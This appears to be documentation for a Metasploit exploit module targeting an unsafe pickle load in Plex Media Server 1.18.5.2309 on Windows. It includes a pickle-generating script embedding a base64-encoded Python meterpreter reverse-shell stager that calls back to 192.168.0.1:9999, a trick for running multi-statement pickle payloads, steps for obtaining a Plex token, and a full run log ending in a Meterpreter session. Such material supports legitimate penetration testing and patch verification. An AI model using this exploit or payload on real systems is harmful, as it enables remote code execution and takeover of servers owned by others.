## Vulnerable Application

This module exploits an authenticated Python unsafe `pickle.load` of a
`Dict` file. An authenticated attacker can create a photo library and
add arbitrary files to it. After setting the Windows only Plex
variable `LocalAppDataPath` to the newly created photo library, a file
named `Dict` will be unpickled, which causes an RCE as the user who
started Plex.

If an exploit fails, or is cancelled, `Dict` is
left on disk, a new `ALBUM_NAME` will be required as subsuquent writes
will make `Dict-1`, and not execute.

A vulnerable version of the software can be downloaded from
[uptodown.com](https://plex-media-server.en.uptodown.com/windows/versions),
specifically [1.18.5.2309](https://plex-media-server.en.uptodown.com/windows/download/2177216)
is vulnerable and used for developing the module.

The plex server needs to be claimed by an account (free is ok), and the module `PLEX_TOKEN` option
needs permission to create a library, and upload files to it.

### Pickle Stub

This exploit requires a python pickle file which can be generated with the following
code:

```
import pickle

class EP(object):
    def __init__(self):
        pass
    def __reduce__(self):
        # for generating an approximately correct size and content, we use
        # msfvenom -p python/meterpreter/reverse_tcp LPORT=9999 LHOST=192.168.0.1
        # that payload is then added after runsource.
        # The original pre-meterp return would be
        # return (eval, ("__import__('code').InteractiveInterpreter().runsource(, '<input>', 'exec')",))
        return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMC4xJyw5OTk5KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')[0]))\", '<input>', 'exec')",))

e = EP()
pickle.dumps(e)
```
### Pickle Gotchas

All the examples of Evil Pickle attacks seem to call one command/function.
[1](https://github.com/fhightower/evil-pickle/blob/master/evil_pickle_writer.py#L17),
[2](https://medium.com/@abhishek.dev.kumar.94/sour-pickle-insecure-deserialization-with-python-pickle-module-efa812c0d565),
[3](https://blog.nelhage.com/2011/03/exploiting-pickle/),
[4](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)

However, @acammack-r7 suggested a way around this. using the `InteractiveInterpreter`.
Credit to them for this original code:

```
>>> class Bad(object):
...      def __reduce__(self):
...              return (eval, ("__import__('code').InteractiveInterpreter().runsource(\"print('ok')\", '<input>', 'exec')",))
... 
>>> x = Bad()
>>> s = pickle.dumps(x)
>>> pickle.loads(s)
ok
False
```

## Verification Steps

  1. Install the application on an internet-connected host
  2. Complete configuration in the browser that pops up
  3. Register/Connect it to a Plex account (Free or Plex Pass)
  4. Start msfconsole
  5. Do: ```use windows/http/plex_unpickle_dict_rce```
  6. Do: ```run```
  7. You should get a shell.

## Options

### ALBUM_NAME

Name of the photo album to create.  Default is random 6 character.

### LIBRARY_PATH

The path to write the photo library to.  Must be valid.  Default is `C:\\Users\\Public`

### PLEX_TOKEN

The `X-Plex-Token` value from requests from an authenticated session.

There are multiple ways to obtain this value.  The easiest is most likely opening the
Console on your web browser (F12) and typing `window.localStorage.myPlexAccessToken`.
However, it can also be obtained from
[plex library files](https://support.plex.tv/articles/204059436-finding-an-authentication-token-x-plex-token/)
or by following [this comment](https://github.com/rapid7/metasploit-framework/pull/13741#issuecomment-649076121)

### REBOOT_SLEEP

Amount of seconds to sleep waiting on the server to reboot.  In testing `10` seemed to be OK, default is `15`.

## Scenarios

### Plex 10.0.16299 on Windows 10 16299

    ```
    [*] Processing plex.rb for ERB directives.
    resource (plex.rb)> use exploit/windows/http/plex_unpickle_dict_rce
    resource (plex.rb)> set rhosts 2.2.2.2
    rhosts => 2.2.2.2
    resource (plex.rb)> set lhost 1.1.1.1
    lhost => 1.1.1.1
    resource (plex.rb)> set PLEX_TOKEN aa1g1aa3aaHbAtPBsEG7
    PLEX_TOKEN => aa1g1aa3aaHbAtPBsEG7
    resource (plex.rb)> set verbose true
    verbose => true
    msf exploit(windows/http/plex_unpickle_dict_rce) > exploit
    
    [*] Started reverse TCP handler on 1.1.1.1:4444
    [*] Gathering Plex Config
    [*] Server Name: EXPLOITABLE -win10
    [+] Server OS: Windows (10.0 (Build 16299))
    [+] Server Version: 1.18.5.2309-f5213a238
    [+] Camera Upload: 1
    [*] Using album name: TAtPGj
    [*] Adding new photo library
    [+] Created Photo Library: 163
    [*] Adding pickled Dict to library
    [*] Changing AppPath
    [*] Restarting Plex
    [*] Sending stage (53755 bytes) to 2.2.2.2
    [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:51092) at 2020-07-03 14:13:08 -0400
    [*] Sleeping 15 seconds for server restart
    [*] Cleanup Phase: Reverting changes from exploitation
    [*] Changing AppPath
    [*] Restarting Plex
    [*] Deleting Photo Library
    
    meterpreter > getuid
    Server username: WIN10PROLICENSE\windows
    meterpreter > sysinfo
    Computer        : win10prolicensed
    OS              : Windows 10 (Build 16299)
    Architecture    : x64
    System Language : en_US
    Meterpreter     : python/windows
    meterpreter > pwd
    \\?\C:\Users\Public\TAtPGj\Plex Media Server\Plug-in Support\Data\com.plexapp.system
    ```
